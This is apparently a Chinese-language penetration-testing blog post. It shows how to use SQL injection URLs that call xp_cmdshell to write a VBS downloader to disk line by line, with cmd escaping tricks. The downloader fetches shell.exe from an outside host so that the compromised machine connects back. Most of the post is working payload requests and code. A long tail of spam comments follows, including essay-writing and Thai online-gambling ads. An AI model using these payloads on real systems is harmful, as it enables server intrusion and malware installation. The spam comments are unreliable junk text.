实战中,会遇到只能用url传递参数拿shell的情况。比如在xp_cmeshell下写入asp/aspx webshell,又或者写入vbs脚本来下载exe使主机上线。
写文件地址:
http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'echo data >> C:\out.txt';--
这里用追加的方式写文件,data是我们要写入的数据。
下载远程文件的vbs代码
Set post=CreateObject("Msxml2.XMLHTTP")
post.Open "GET","http://x.x.x.x/shell.exe"
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
wscript.sleep 3000
aGet.Write(post.responseBody)
aGet.SaveToFile "shell.exe",2
在这个脚本中,有这些特殊符号:/=(“),.
经过测试,能够正常写入的有:
/
.
,
()
成对的"
xx=字符开头字符串
对于单个的双引号,需要进行转义。Windows cmd下的转义字符是^。写入单引号需要这样转换一下:
http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'echo ^" >> C:\out.txt';--
对于写入aGet.Mode = 3这样的数据,需要分两次写入,而且不能换行:
http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'set /p="aGet.Mod" >> C:\out.txt';--
http://192.168.154.130/sql.asp?name=admin';exec xp_cmdshell 'set /p="e = 3" >> C:\out.txt';--
这样两段字符串就写在了一行。
Very good post. Fantastic.
Very good blog article.Really looking forward to read more. Much obliged.
A round of applause for your blog. Awesome.
Hoktjb – 500 word research paper Httnzc qwffcr
Thank you for your article post. Great.
us essay writing services persuasive essay writing help
wow, awesome post.Thanks Again. Cool.
Say, you got a nice article.Really looking forward to read more. Much obliged.
I loved your article post.Really looking forward to read more. Fantastic.
I loved your blog post.Thanks Again. Really Great.
Wow, great article. Cool.
A big thank you for your blog post.Really looking forward to read more. Great.
Very good post.Really looking forward to read more. Will read on…
เดี๋ยวนี้ผู้คนต่างมองหาหนทางการผลิตรายได้ที่ลงทุนน้อย UFABET คาสิโนออนไลน์ได้เก็บทุกเกมออนไลน์ที่ท่านพอใจไม่ว่าจะเป็นบาคาร่า พนันบอล สล็อต ยิงปลา รวมถึงเกมใหม่ๆที่พึ่งพิงเปิดตัวเข้าสู่วงการเกมออนไลน์ UFABET จ่ายจริง จ่ายไว ไม่มีขั้นต่ะ
I really like and appreciate your article.Really looking forward to read more. Keep writing.
Awesome blog post.Really thank you! Awesome.
Jemand im Wesentlichen unterstützen, um ernst Artikel ich würde zu sagen . Dies das allererste Mal, dass ich Ihre Website-Seite besucht habe und so weit? Ich überrascht mit der Forschung, die Sie gemacht haben, um dieses tatsächlich machen posten erstaunlich. Großartig Job!
A round of applause for your blog post.Thanks Again.
Appreciate you sharing, great article.Really thank you! Really Great.
Very informative post.Really looking forward to read more. Fantastic.
Very good article.Really thank you! Will read on…
สล็อตออนไลน์เกมคาสิโนยอดนิยมชั่วกัลปวสาน เล่นง่าย แจ็คพอตแตกไวจำเป็นต้องที่ UFABET จ่ายจริง จ่ายเต็ม มีเกมให้เลือกมากมายทั้งพนันบอล บาคาร่า ยิงปลา มาเว็บไซต์นี้เว็บเดียวบอกเลยจ้าขอรับว่าโคตรคุ้ม สร้างรายได้กล้วยๆจบที่เว็บไซต์ UFABET ได้เลยคะครับผม
Appreciate you sharing, great post.Really looking forward to read more.
Awesome blog post.Really looking forward to read more. Much obliged.
Very good blog.Much thanks again. Really Great.